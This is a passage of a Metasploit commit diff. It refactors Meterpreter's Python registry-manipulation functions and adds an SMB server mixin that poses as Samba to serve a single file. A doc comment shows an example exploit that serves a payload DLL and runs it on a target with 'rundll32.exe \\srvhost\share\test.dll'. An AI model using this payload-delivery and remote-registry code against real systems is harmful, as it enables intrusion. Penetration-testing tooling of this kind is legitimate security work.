Merge branch 'master' into feature/MSP-12244/postgres-pass-the-hash

bug/bundler_fix
David Maloney 2015-03-04 13:56:10 -06:00
commit 2d46c06b97
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
34 changed files with 4851 additions and 1419 deletions

View File

@ -1334,10 +1334,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
channel.shutdown(how)
return ERROR_SUCCESS, response
def _wreg_close_key(hkey):
ctypes.windll.advapi32.RegCloseKey(hkey)
@meterpreter.register_function_windll
def stdapi_registry_close_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
result = ctypes.windll.advapi32.RegCloseKey(hkey)
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
@ -1372,11 +1374,9 @@ def stdapi_registry_delete_value(request, response):
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_key(request, response):
def _wreg_enum_key(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
index = 0
tries = 0
@ -1399,10 +1399,22 @@ def stdapi_registry_enum_key(request, response):
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
def stdapi_registry_enum_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_key(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_enum_key_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_key(request, response, hkey)
_wreg_close_key(hkey)
return ret
def _wreg_enum_value(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
name_sz = ctypes.c_uint32()
index = 0
@ -1426,6 +1438,20 @@ def stdapi_registry_enum_value(request, response):
index += 1
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_enum_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@meterpreter.register_function_windll
def stdapi_registry_load_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
@ -1434,16 +1460,22 @@ def stdapi_registry_load_key(request, response):
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
return result, response
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
def _wreg_open_key(request):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
return error_result_windows(), 0
return ERROR_SUCCESS, handle_id.value
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
response += tlv_pack(TLV_TYPE_HKEY, hkey)
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
@ -1467,9 +1499,7 @@ def stdapi_registry_query_class(request, response):
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
def _query_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = ctypes.c_uint32()
@ -1496,8 +1526,20 @@ def stdapi_registry_query_value(request, response):
return error_result_windows(), response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _query_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_query_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _query_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
def _set_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
@ -1505,6 +1547,20 @@ def stdapi_registry_set_value(request, response):
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _set_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_set_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _set_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@meterpreter.register_function_windll
def stdapi_registry_unload_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']

View File

@ -32,6 +32,7 @@ require 'msf/core/exploit/smb/client'
require 'msf/core/exploit/smb/client/authenticated'
require 'msf/core/exploit/smb/client/psexec'
require 'msf/core/exploit/smb/server'
require 'msf/core/exploit/smb/server/share'
require 'msf/core/exploit/ftp'
require 'msf/core/exploit/tftp'
require 'msf/core/exploit/telnet'

View File

@ -133,11 +133,18 @@ module Msf
pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
if esn
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
pkt['Payload']['SMB'].v['Flags2'] =
CONST::FLAGS2_UNICODE_STRINGS +
CONST::FLAGS2_EXTENDED_SECURITY +
CONST::FLAGS2_32_BIT_ERROR_CODES +
CONST::FLAGS2_LONG_PATH_COMPONENTS
else
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['Flags2'] =
CONST::FLAGS2_UNICODE_STRINGS +
CONST::FLAGS2_32_BIT_ERROR_CODES +
CONST::FLAGS2_LONG_PATH_COMPONENTS
end
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
c.put(pkt.to_s)

View File

@ -0,0 +1,297 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'rex/proto/smb'
require 'rex/text'
require 'rex/logging'
require 'rex/struct2'
require 'rex/proto/smb/constants'
require 'rex/proto/smb/utils'
require 'rex/proto/dcerpc'
module Msf
module Exploit::Remote::SMB::Server
# This mixin provides a minimal SMB server sharing an UNC resource. At
# this moment it is capable to share just one file. And the file should
# live in the root folder "\\".
#
# @example Use it from an Auxiliary module
# require 'msf/core'
#
# class Metasploit3 < Msf::Auxiliary
#
# include Msf::Exploit::Remote::SMB::Server::Share
#
# def initialize
# super(
# 'Name' => 'SMB File Server',
# 'Description' => %q{
# This module provides a SMB File Server service
# },
# 'Author' =>
# [
# 'Matthew Hall',
# 'juan vazquez'
# ],
# 'License' => MSF_LICENSE,
# 'Actions' =>
# [
# ['Service']
# ],
# 'PassiveActions' =>
# [
# 'Service'
# ],
# 'DefaultAction' => 'Service'
# )
# end
#
# def run
# print_status("Starting SMB Server on #{unc}...")
# exploit
# end
#
# def primer
# print_status("Primer...")
# self.file_contents = 'METASPLOIT'
# end
# end
#
# @example Use it from an Exploit module
# require 'msf/core'
#
# class Metasploit3 < Msf::Exploit::Remote
# Rank = ExcellentRanking
#
# include Msf::Exploit::EXE
# include Msf::Exploit::Remote::SMB::Server::Share
#
# def initialize(info={})
# super(update_info(info,
# 'Name' => "Example Exploit",
# 'Description' => %q{
# Example exploit, the Server shares a DLL embedding the payload. A session
# can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
# from the target.
# },
# 'License' => MSF_LICENSE,
# 'Author' =>
# [
# 'Matthew Hall',
# 'juan vazquez'
# ],
# 'References' =>
# [
# ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
# ],
# 'Payload' =>
# {
# 'Space' => 2048,
# 'DisableNops' => true
# },
# 'Platform' => 'win',
# 'Targets' =>
# [
# ['Windows XP SP3 / Windows 2003 SP2', {}],
# ],
# 'Privileged' => false,
# 'DisclosureDate' => "Mar 02 2015",
# 'DefaultTarget' => 0))
#
# register_options(
# [
# OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
# ], self.class)
#
# deregister_options('FILE_CONTENTS')
# end
#
# def primer
# self.file_contents = generate_payload_dll
# print_status("File available on #{unc}...")
# end
# end
module Share
require 'msf/core/exploit/smb/server/share/command'
require 'msf/core/exploit/smb/server/share/information_level'
include Msf::Exploit::Remote::SMB::Server::Share::Command::Close
include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate
include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx
include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx
include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query
include Msf::Exploit::Remote::SMB::Server
FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS |
CONST::FLAGS2_EXTENDED_SECURITY |
CONST::FLAGS2_32_BIT_ERROR_CODES |
CONST::FLAGS2_LONG_PATH_COMPONENTS
CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS |
CONST::CAP_LARGE_WRITEX |
CONST::CAP_LARGE_READX |
CONST::CAP_PASSTHRU |
CONST::CAP_DFS |
CONST::CAP_NT_FIND |
CONST::CAP_LOCK_AND_READ |
CONST::CAP_LEVEL_II_OPLOCKS |
CONST::CAP_STATUS32 |
CONST::CAP_RPC_REMOTE_APIS |
CONST::CAP_NT_SMBS |
CONST::CAP_LARGE_FILES |
CONST::CAP_UNICODE |
CONST::CAP_RAW_MODE
CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS |
CONST::SMB_WRITE_ACCESS |
CONST::SMB_APPEND_ACCESS |
CONST::SMB_READ_EA_ACCESS |
CONST::SMB_WRITE_EA_ACCESS |
CONST::SMB_EXECUTE_ACCESS |
CONST::SMB_DELETE_CHILD_ACCESS |
CONST::SMB_READ_ATTRIBUTES_ACCESS |
CONST::SMB_WRITE_ATTRIBUTES_ACCESS |
CONST::SMB_DELETE_ACCESS |
CONST::SMB_READ_CONTROL_ACCESS |
CONST::SMB_WRITE_DAC_ACCESS |
CONST::SMB_WRITE_OWNER_ACCESS |
CONST::SMB_SYNC_ACCESS
TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS |
CONST::SMB_READ_EA_ACCESS |
CONST::SMB_EXECUTE_ACCESS |
CONST::SMB_READ_ATTRIBUTES_ACCESS |
CONST::SMB_READ_CONTROL_ACCESS |
CONST::SMB_SYNC_ACCESS
# @!attribute share
# @return [String] The share portion of the provided UNC.
attr_accessor :share
# @!attribute path_name
# @return [String] The folder where the provided file lives.
# @note UNSUPPORTED
attr_accessor :path_name
# @!attribute file_name
# @return [String] The file name of the provided UNC.
attr_accessor :file_name
# @!attribute hi
# @return [Fixnum] The high 4 bytes for the file 'created time'.
attr_accessor :hi
# @!attribute lo
# @return [Fixnum] The low 4 bytes for the file 'created time'.
attr_accessor :lo
# @!attribute file_contents
# @return [String] The contents of the provided file
attr_accessor :file_contents
def initialize(info = {})
super
register_options(
[
OptString.new('SHARE', [ false, 'Share (Default Random)']),
OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
], Msf::Exploit::Remote::SMB::Server::Share)
end
# Setups the server configuration.
def setup
super
self.path_name = '\\' # TODO: Add subdirectories support
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
t = Time.now.to_i
self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)
# The module has an opportunity to set up the file contents in the "primer callback"
if datastore['FILE_CONTENTS']
File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read }
else
self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150))
end
end
# Builds the UNC Name for the shared file
def unc
"\\\\#{srvhost}\\#{share}\\#{file_name}"
end
# Builds the server address.
#
# @return [String] The server address.
def srvhost
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
end
# New connection handler, executed when there is a new conneciton.
#
# @param c [Socket] The client establishing the connection.
# @return [Hash] The hash with the client data initialized.
def smb_conn(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:multiplex_id => rand(0xffff),
:process_id => rand(0xffff),
:file_id => 0xdead,
:dir_id => 0xbeef
}
end
# Main dispatcher function. Takes the client data and performs a case switch
# on the command (e.g. Negotiate, Session Setup, Read file, etc.)
#
# @param cmd [Fixnum] The SMB Command requested.
# @param c [Socket] The client to answer.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(buff)
#Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
case cmd
when CONST::SMB_COM_NEGOTIATE
return smb_cmd_negotiate(c, buff)
when CONST::SMB_COM_SESSION_SETUP_ANDX
word_count = pkt['Payload']['SMB'].v['WordCount']
if word_count == 0x0d # Share Security Mode sessions
return smb_cmd_session_setup_andx(c, buff)
else
print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
when CONST::SMB_COM_TRANSACTION2
return smb_cmd_trans2(c, buff)
when CONST::SMB_COM_NT_CREATE_ANDX
return smb_cmd_nt_create_andx(c, buff)
when CONST::SMB_COM_READ_ANDX
return smb_cmd_read_andx(c, buff)
when CONST::SMB_COM_CLOSE
return smb_cmd_close(c, buff)
else
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end

View File

@ -0,0 +1,16 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
require 'msf/core/exploit/smb/server/share/command/close'
require 'msf/core/exploit/smb/server/share/command/negotiate'
require 'msf/core/exploit/smb/server/share/command/nt_create_andx'
require 'msf/core/exploit/smb/server/share/command/read_andx'
require 'msf/core/exploit/smb/server/share/command/session_setup_andx'
require 'msf/core/exploit/smb/server/share/command/trans2'
end
end
end
end

View File

@ -0,0 +1,38 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Close
# Handles an SMB_COM_CLOSE command, used by the client to close an instance
# of an object associated with a valid FID.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_close(c, buff)
send_close_res(c)
end
# Builds and sends an SMB_COM_CLOSE response.
#
# @param c [Socket] The client to answer.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_close_res(c)
pkt = CONST::SMB_CLOSE_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,90 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Negotiate
# Handles an SMB_COM_NEGOTIATE command, used by the client to initiate an
# SMB connection between the client and the server.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_negotiate(c, buff)
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
dialect = dialects.index("NT LM 0.12") || dialects.length-1
send_negotitate_res(c, {
dialect: dialect,
security_mode: CONST::NEG_SECURITY_PASSWORD,
max_mpx: 50,
max_vcs: 1,
max_buff: 4356,
max_raw: 65536,
server_time_zone: 0,
capabilities: CAPABILITIES,
key_length: 8,
key: Rex::Text.rand_text_hex(8)
})
end
# Builds and sends an SMB_COM_CLOSE response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <String, Fixnum>}] Response custom values.
# @option opts [Fixnum] :dialect The index of the dialect selected by the server from the request.
# @option opts [Fixnum] :security_mode Security modes supported or required by the server.
# @option opts [Fixnum] :max_mpx The maximum number of outstanding SMB operations that the server supports.
# @option opts [Fixnum] :max_vcs The maximum number of virtual circuits between the client and the server.
# @option opts [Fixnum] :max_buff Largest SMB message that the server can handle.
# @option opts [Fixnum] :max_raw Max size for SMB_COM_WRITE_RAW requests and SMB_COM_READ_RAW responses.
# @option opts [Fixnum] :server_time_zone The server's time zone.
# @option opts [Fixnum] :capabilities The server capability indicators.
# @option opts [Fixnum] :key_length The challenge length.
# @option opts [String] :key The challenge.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_negotitate_res(c, opts = {})
dialect = opts[:dialect] || 0
security_mode = opts[:security_mode] || 0
max_mpx = opts[:max_mpx] || 0
max_vcs = opts[:max_vcs] || 0
max_buff = opts[:max_buff] || 0
max_raw = opts[:max_raw] || 0
server_time_zone = opts[:server_time_zone] || 0
capabilities = opts[:capabilities] || 0
key_length = opts[:key_length] || 0
key = opts[:key] || ''
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NEGOTIATE_RES_WORD_COUNT
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = security_mode
pkt['Payload'].v['MaxMPX'] = max_mpx
pkt['Payload'].v['MaxVCS'] = max_vcs
pkt['Payload'].v['MaxBuff'] = max_buff
pkt['Payload'].v['MaxRaw'] = max_raw
pkt['Payload'].v['SystemTimeLow'] = lo
pkt['Payload'].v['SystemTimeHigh'] = hi
pkt['Payload'].v['ServerTimeZone'] = server_time_zone
pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['Capabilities'] = capabilities
pkt['Payload'].v['KeyLength'] = key_length
pkt['Payload'].v['Payload'] = key
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,105 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module NtCreateAndx
# Handles an SMB_COM_NT_CREATE_ANDX command, used by the client to create and
# open a new file.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_nt_create_andx(c, buff)
smb = @state[c]
pkt = CONST::SMB_CREATE_PKT.make_struct
pkt.from_s(buff)
payload = (pkt['Payload'].v['Payload']).downcase
payload.gsub!(/^[\x00]*/, '') # delete padding
payload = Rex::Text.ascii_safe_hex(payload)
payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
if payload.nil? || payload.empty?
payload = file_name
end
if payload.ends_with?(file_name)
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ")
fid = smb[:file_id].to_i
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
eof = file_contents.length
is_dir = 0
elsif payload.eql?(path_name)
fid = smb[:dir_id].to_i
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
eof = 0
is_dir = 1
else
# Otherwise send not found
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX for #{payload}, not found")
return smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_nt_create_andx_res(c, {
file_id: fid,
attributes: attribs,
end_of_file_low: eof,
is_directory: is_dir,
alloc_low: 0x100000
})
end
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum>}] Response custom values.
# @option opts [Fixnum] :file_id A FID representing the file or directory created or opened.
# @option opts [Fixnum] :attributes The attributes that the server assigned to the file or directory.
# @option opts [Fixnum] :end_of_file_low The end of file offset value (4 bytes)
# @option opts [Fixnum] :is_directory Indicates if the FID represents a directory.
# @option opts [Fixnum] :alloc_low The number of bytes allocated to the file by the server.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_nt_create_andx_res(c, opts = {})
file_id = opts[:file_id] || 0
attributes = opts[:attributes] || 0
end_of_file_low = opts[:end_of_file_low] || 0
is_directory = opts[:is_directory] || 0
alloc_low = opts[:alloc_low] || 0
pkt = CONST::SMB_CREATE_ANDX_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NT_CREATE_ANDX_RES_WORD_COUNT
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File
pkt['Payload'].v['FileID'] = file_id
pkt['Payload'].v['Action'] = CONST::FILE_OPEN # The file existed and was opened
pkt['Payload'].v['CreateTimeLow'] = lo
pkt['Payload'].v['CreateTimeHigh'] = hi
pkt['Payload'].v['AccessTimeLow'] = lo
pkt['Payload'].v['AccessTimeHigh'] = hi
pkt['Payload'].v['WriteTimeLow'] = lo
pkt['Payload'].v['WriteTimeHigh'] = hi
pkt['Payload'].v['ChangeTimeLow'] = lo
pkt['Payload'].v['ChangeTimeHigh'] = hi
pkt['Payload'].v['Attributes'] = attributes
pkt['Payload'].v['AllocLow'] = alloc_low
pkt['Payload'].v['AllocHigh'] = 0
pkt['Payload'].v['EOFLow'] = end_of_file_low
pkt['Payload'].v['EOFHigh'] = 0
pkt['Payload'].v['FileType'] = CONST::SMB_RESOURCE_FILE_TYPE_DISK
pkt['Payload'].v['IPCState'] = 0x7 # Number maxim of instance a named pipe can have
pkt['Payload'].v['IsDirectory'] = is_directory
pkt['Payload'].v['MaxAccess'] = CREATE_MAX_ACCESS
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,64 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module ReadAndx
# Handles an SMB_COM_READ_ANDX command, used by the client to read data from a
# file.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_read_andx(c, buff)
pkt = CONST::SMB_READ_PKT.make_struct
pkt.from_s(buff)
offset = pkt['Payload'].v['Offset']
length = pkt['Payload'].v['MaxCountLow']
send_read_andx_res(c, {
data_len_low: length,
byte_count: length,
data: file_contents[offset, length]
})
end
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :data_len_low The length of the file data sent back.
# @option opts [Fixnum] :byte_count The length of the file data sent back.
# @option opts [String] :data The bytes read from the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_read_andx_res(c, opts = {})
data_len_low = opts[:data_len_low] || 0
byte_count = opts[:byte_count] || 0
data = opts[:data] || ''
pkt = CONST::SMB_READ_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_READ_ANDX_RES_WORD_COUNT
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
pkt['Payload'].v['Remaining'] = 0xffff
pkt['Payload'].v['DataLenLow'] = data_len_low
pkt['Payload'].v['DataOffset'] = CONST::SMB_READ_RES_HDR_PKT_LENGTH
pkt['Payload'].v['DataLenHigh'] = 0
pkt['Payload'].v['Reserved3'] = 0
pkt['Payload'].v['Reserved4'] = 0x0a
pkt['Payload'].v['ByteCount'] = byte_count
pkt['Payload'].v['Payload'] = data
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,87 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
# @todo Add support to only allow session setup against the configured shared resource
module SessionSetupAndx
# Handles an SMB_COM_SESSION_SETUP_ANDX command, used by the client to configure an SMB Session.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_session_setup_andx(c, buff)
tree_connect_response = CONST::SMB_TREE_CONN_ANDX_RES_PKT.make_struct
tree_connect_response.v['WordCount'] = CONST::SMB_TREE_CONN_ANDX_WORD_COUNT
tree_connect_response.v['AndXCommand'] = CONST::SMB_COM_NO_ANDX_COMMAND
tree_connect_response.v['AndXReserved'] = 0
tree_connect_response.v['AndXOffset'] = 0
tree_connect_response.v['OptionalSupport'] = 1
tree_connect_response.v['AccessRights'] = TREE_CONNECT_MAX_ACCESS
tree_connect_response.v['GuestAccessRights'] = 0
tree_connect_response.v['Payload'] = "A:\x00#{Rex::Text.to_unicode('NTFS')}\x00\x00"
data = Rex::Text.to_unicode('Unix', 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
Rex::Text.to_unicode('Samba 3.4.7', 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
Rex::Text.to_unicode('WORKGROUP', 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature
send_session_setup_andx_res(c, {
action: CONST::SMB_SETUP_GUEST,
data: data,
andx: CONST::SMB_COM_TREE_CONNECT_ANDX,
andx_offset: 96,
andx_command: tree_connect_response
})
end
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String, Rex::Struct2::CStruct>}] Response custom values.
# @option opts [Fixnum] :action SMB Configuration result.
# @option opts [Fixnum] :andx_offset The offset in bytes from the start of the SMB Header to the start
# of the WordCount field in the next SMBCommand.
# @option opts [Fixnum] :reserved Reserved field.
# @option opts [Fixnum] :andx The command code for the next SMB Command in the packet.
# @option opts [String] :data The SMB_Data for the SMB_COM_SESSION_SETUP_ANDX response.
# @option opts [Rex::Struct2::CStruct] :andx_command The next SMB Command in the packet.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_session_setup_andx_res(c, opts = {})
action = opts[:action] || 0
andx_offset = opts[:andx_offset] || 0
reserved = opts[:reserved] || 0
andx = opts[:andx] || CONST::SMB_COM_NO_ANDX_COMMAND
data = opts[:data] || ''
andx_command = opts[:andx_command] || nil
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT
pkt['Payload'].v['AndX'] = andx
pkt['Payload'].v['Reserved1'] = reserved
pkt['Payload'].v['AndXOffset'] = andx_offset
pkt['Payload'].v['Action'] = action
pkt['Payload'].v['Payload'] = data
if andx_command
full_pkt = pkt.to_s + andx_command.to_s
